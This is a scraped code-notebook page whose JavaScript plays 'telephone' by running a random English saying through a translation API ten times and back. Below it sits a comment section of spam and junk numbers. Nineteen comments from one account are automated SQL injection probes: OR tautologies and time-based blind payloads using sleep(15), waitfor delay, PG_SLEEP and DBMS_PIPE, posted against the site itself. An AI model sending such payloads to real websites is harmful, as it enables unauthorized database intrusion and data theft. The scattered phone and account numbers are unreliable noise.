Telephone?

node v4.9.1
version: 6.0.0
endpointsharetweet
You probably played the game of telephone as a kid, but it's kind of boring as an adult. But what if we get the computer to play for us instead? First, let's require some utilities from other notebooks, and define a few of our own.
// translations, powered by yandex. // To use, make sure you set process.env.YANDEX_API_KEY to your own API key! // You can sign up here: https://tech.yandex.com/keys/get/?service=trnsl var yandex = require('notebook')('tonic/yandex-translation-api/1.1.0'); // Some common english phrases var sayings = require('notebook')('capicue/sayings/2.0.0'); // Just a few niceties around Math.random() var rand = require('notebook')('tonic/random/5.0.0'); function randomLanguage() { var languageKeys = Object.keys(languages); return languageKeys[rand(languageKeys.length)]; } // Grab a random language from the supported languages. var languages = await yandex.languages();
Alright, now we're ready. The basic idea is to start with a phrase and run it through a translation API a whole bunch of times, finally translating it back into the original language to see what we get.
// The core game async function telephone(text, language = "en", steps = 10) { return await step([{lang: language, text: text}]); async function step(history) { var last = history[history.length - 1]; var toLanguage = (history.length === steps) ? history[0].lang : randomLanguage(); var result = await yandex.translate(last.lang, toLanguage, last.text); var results = history.concat([{text: result, lang: toLanguage}]); if (history.length === steps) return results.map(function(step){ return [step.text, languages[step.lang]]; }); return step(results); } } var sentence = sayings.random(); await telephone(sentence);
Turn oil.
Loading…

39 comments

  • posted 5 years ago by joshmiddlebrooks
    4042935573
  • posted 5 years ago by joshmiddlebrooks
  • posted 4 years ago by pattanawichiwong
    3802675250ถอนเงินโบนัส
  • posted 4 years ago by pattanawichiwong
    0930865880เบอร์3802675250เลขบัญชีทีเอ็มบี
  • posted 4 years ago by dirtysocks
    kek kek kek
  • posted 2 years ago by hummer-3
    AR
  • posted a year ago by 6264832108
    6264832108
  • posted a year ago by 6264832108
    Chhatar Singh
  • posted a year ago by 6264832108
    Nagaaj
  • posted a year ago by 6264832108
    109700150090141
  • posted a year ago by 6264832108
    654321
  • posted a year ago by 6264832108
    *
  • posted 5 months ago by puregoldenterprises
    324312
  • posted 4 months ago by paapq
    uuuu
  • posted 20 days ago by xsjybldb
    1
  • posted 20 days ago by xsjybldb
    1
  • posted 20 days ago by xsjybldb
    -1 OR 2+884-884-1=0+0+0+1 --
  • posted 20 days ago by xsjybldb
    -1 OR 2+30-30-1=0+0+0+1
  • posted 20 days ago by xsjybldb
    -1' OR 2+962-962-1=0+0+0+1 --
  • posted 20 days ago by xsjybldb
    -1' OR 2+680-680-1=0+0+0+1 or 'yVAfFMoL'='
  • posted 20 days ago by xsjybldb
    -1" OR 2+743-743-1=0+0+0+1 --
  • posted 20 days ago by xsjybldb
    if(now()=sysdate(),sleep(15),0)
  • posted 20 days ago by xsjybldb
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
  • posted 20 days ago by xsjybldb
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
  • posted 20 days ago by xsjybldb
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • posted 20 days ago by xsjybldb
    -1; waitfor delay '0:0:15' --
  • posted 20 days ago by xsjybldb
    -1); waitfor delay '0:0:15' --
  • posted 20 days ago by xsjybldb
    1 waitfor delay '0:0:15' --
  • posted 20 days ago by xsjybldb
    G7GQBZOv'; waitfor delay '0:0:15' --
  • posted 20 days ago by xsjybldb
    -5 OR 860=(SELECT 860 FROM PG_SLEEP(15))--
  • posted 20 days ago by xsjybldb
    -5) OR 48=(SELECT 48 FROM PG_SLEEP(15))--
  • posted 20 days ago by xsjybldb
    -1)) OR 953=(SELECT 953 FROM PG_SLEEP(15))--
  • posted 20 days ago by xsjybldb
    QIhYnRRm' OR 470=(SELECT 470 FROM PG_SLEEP(15))--
  • posted 20 days ago by xsjybldb
    gwYRR3Eb') OR 393=(SELECT 393 FROM PG_SLEEP(15))--
  • posted 20 days ago by xsjybldb
    YfceOyGV')) OR 214=(SELECT 214 FROM PG_SLEEP(15))--
  • posted 20 days ago by xsjybldb
    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • posted 20 days ago by xsjybldb
    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • posted 20 days ago by xsjybldb
    1'"
  • posted 20 days ago by xsjybldb
    @@qTo3F

sign in to comment